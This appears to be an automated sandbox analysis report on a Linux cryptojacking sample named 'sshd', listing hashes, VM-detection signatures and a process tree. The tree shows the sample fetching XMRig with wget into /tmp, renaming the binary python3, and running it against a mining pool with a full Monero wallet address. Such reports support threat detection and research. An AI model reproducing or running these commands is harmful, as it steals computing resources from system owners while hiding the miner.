Analysis
-
max time kernel
118s -
max time network
111s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system -
submitted
20-01-2025 17:38
Static task
static1
Behavioral task
behavioral1
Sample
sshd
Resource
ubuntu1804-amd64-20240508-en
ubuntu-18.04-amd64
2 signatures
900 seconds
Behavioral task
behavioral2
Sample
sshd
Resource
ubuntu2004-amd64-20240729-en
ubuntu-20.04-amd64
2 signatures
900 seconds
Behavioral task
behavioral3
Sample
sshd
Resource
ubuntu2204-amd64-20240611-en
ubuntu-22.04-amd64
11 signatures
900 seconds
Behavioral task
behavioral4
Sample
sshd
Resource
ubuntu2404-amd64-20240729-en
ubuntu-24.04-amd64
11 signatures
900 seconds
General
-
Target
sshd
-
Size
496B
-
MD5
bde8eb67612ae4246e358fc8a75e4f04
-
SHA1
d1e03cf4130281b525f8a5d51abc3c3917c58d58
-
SHA256
986b11952fe8b5764c39bc39ab3656b4f3b14c331cf32cfea6d8b0079c81e5f3
-
SHA512
ac62ad5f3628caef1f68a4ead799e234cb440c321a51ea589e442ceee6b24ce3f56b4c958e770abb4b7ddfbed8c731cd801b58f3ce68011b53c3b8c46688eb28
Score
10/10
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral3/files/fstream-5.dat family_xmrig behavioral3/files/fstream-5.dat xmrig -
Xmrig family
-
Xmrig_linux family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/sys_vendor python3 File opened for reading /sys/devices/virtual/dmi/id/product_name python3 File opened for reading /sys/devices/virtual/dmi/id/board_vendor python3 File opened for reading /sys/devices/virtual/dmi/id/bios_vendor python3 -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/board_serial python3 File opened for reading /sys/devices/virtual/dmi/id/product_serial python3 File opened for reading /sys/devices/virtual/dmi/id/board_name python3 File opened for reading /sys/devices/virtual/dmi/id/board_version python3 File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag python3 File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor python3 File opened for reading /sys/devices/virtual/dmi/id/chassis_type python3 File opened for reading /sys/devices/virtual/dmi/id/chassis_serial python3 File opened for reading /sys/devices/virtual/dmi/id/product_version python3 File opened for reading /sys/devices/virtual/dmi/id/product_uuid python3 File opened for reading /sys/devices/virtual/dmi/id/chassis_version python3 File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag python3 File opened for reading /sys/devices/virtual/dmi/id/bios_version python3 File opened for reading /sys/devices/virtual/dmi/id/bios_date python3 -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo python3 -
Reads CPU attributes 1 TTPs 46 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition python3 File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/acpi_cppc/nominal_freq python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/online python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size python3 File opened for reading /sys/devices/system/cpu/possible python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/package_cpus python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets python3 File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus python3 File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level python3 File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map python3 File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq python3 -
Enumerates kernel/hardware configuration 1 TTPs 26 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/firmware/dmi/tables/smbios_entry_point python3 File opened for reading /sys/devices/cpu_core/cpus python3 File opened for reading /sys/devices/system/node/node0/hugepages python3 File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages python3 File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth python3 File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth python3 File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency python3 File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency python3 File opened for reading /sys/devices/virtual/dmi/id python3 File opened for reading /sys/bus/soc/devices python3 File opened for reading /sys/fs/cgroup/cpuset.mems.effective python3 File opened for reading /sys/kernel/mm/hugepages python3 File opened for reading /sys/devices/system/node/node0/meminfo python3 File opened for reading /sys/devices/system/node/node0/access0/initiators python3 File opened for reading /sys/firmware/dmi/tables/DMI python3 File opened for reading /sys/bus/dax/devices python3 File opened for reading /sys/devices/system/node/node0/access1/initiators python3 File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages python3 File opened for reading /sys/fs/cgroup/cpuset.cpus.effective python3 File opened for reading /sys/devices/system/cpu python3 File opened for reading /sys/devices/system/node/online python3 File opened for reading /sys/devices/system/node/node0/cpumap python3 File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages python3 File opened for reading /sys/devices/cpu_atom/cpus python3 File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages python3 File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages python3 -
description ioc Process File opened for reading /proc/sys/kernel/random/boot_id tar File opened for reading /proc/filesystems mv File opened for reading /proc/cmdline python3 File opened for reading /proc/self/cpuset python3 File opened for reading /proc/driver/nvidia/gpus python3 File opened for reading /proc/version_signature python3 File opened for reading /proc/sys/vm/nr_hugepages python3 File opened for reading /proc/filesystems tar File opened for reading /proc/filesystems mv File opened for reading /proc/meminfo python3 -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sshd.tgz wget File opened for modification /tmp/xmrig-6.22.2/config.json tar File opened for modification /tmp/xmrig-6.22.2/SHA256SUMS tar File opened for modification /tmp/xmrig-6.22.2/xmrig tar
Processes
-
/tmp/sshd/tmp/sshd1⤵PID:1602
-
/usr/bin/wgetwget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz -O sshd.tgz2⤵
- Writes file to tmp directory
PID:1603
-
-
/usr/bin/tartar -xf sshd.tgz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:1616 -
/usr/local/sbin/gzipgzip -d3⤵PID:1617
-
-
/usr/local/bin/gzipgzip -d3⤵PID:1617
-
-
/usr/sbin/gzipgzip -d3⤵PID:1617
-
-
/usr/bin/gzipgzip -d3⤵PID:1617
-
-
-
/usr/bin/rmrm sshd.tgz -fr2⤵PID:1618
-
-
/usr/bin/mvmv xmrig-6.22.2 sshd_common2⤵
- Reads runtime system information
PID:1619
-
-
/usr/bin/mvmv xmrig python32⤵
- Reads runtime system information
PID:1620
-
-
/tmp/sshd_common/python3./python3 -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:47zqPD9abK85U1mLET6U3ZPAUGEWg45fiGSacihNC2kP2SQvsbqTdwY5QgRpssfSfHhHP4JhPRZ8KZPuLq4jwqSMEZtsN4q.linux17914 -p crypter2⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1622
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
165B
MD54d56299be19b82594324a06de00f2c39
SHA1f3ef8aa218ae38a41b70cd315dc0d0c34045e369
SHA256a921313a88600913fb89936dc1b1bb588b4322ce5651dd2acb9e5c374484c904
SHA5124a666cda453effec717b32cc10bb38f24aef5c38f559d548085d2e85610f07887bf5c1de39f8c6c0b980695bd61212a84e1e9825b8a0a728f9ebf3cfb5ebf174
-
Filesize
150B
MD5554d057fe1c4eab2071450cf6c434dc5
SHA19fa4d5aa72d698f72d105fce0bd44657f244c7e6
SHA256cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
SHA512be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8
-
Filesize
2KB
MD566f38c96a4901e7b345787c447842b3e
SHA12aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA2562b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
SHA51271757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
-
Filesize
7.9MB
MD58f4fff0ded94f1141768220906abfbb8
SHA1ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA256b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
SHA5120096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee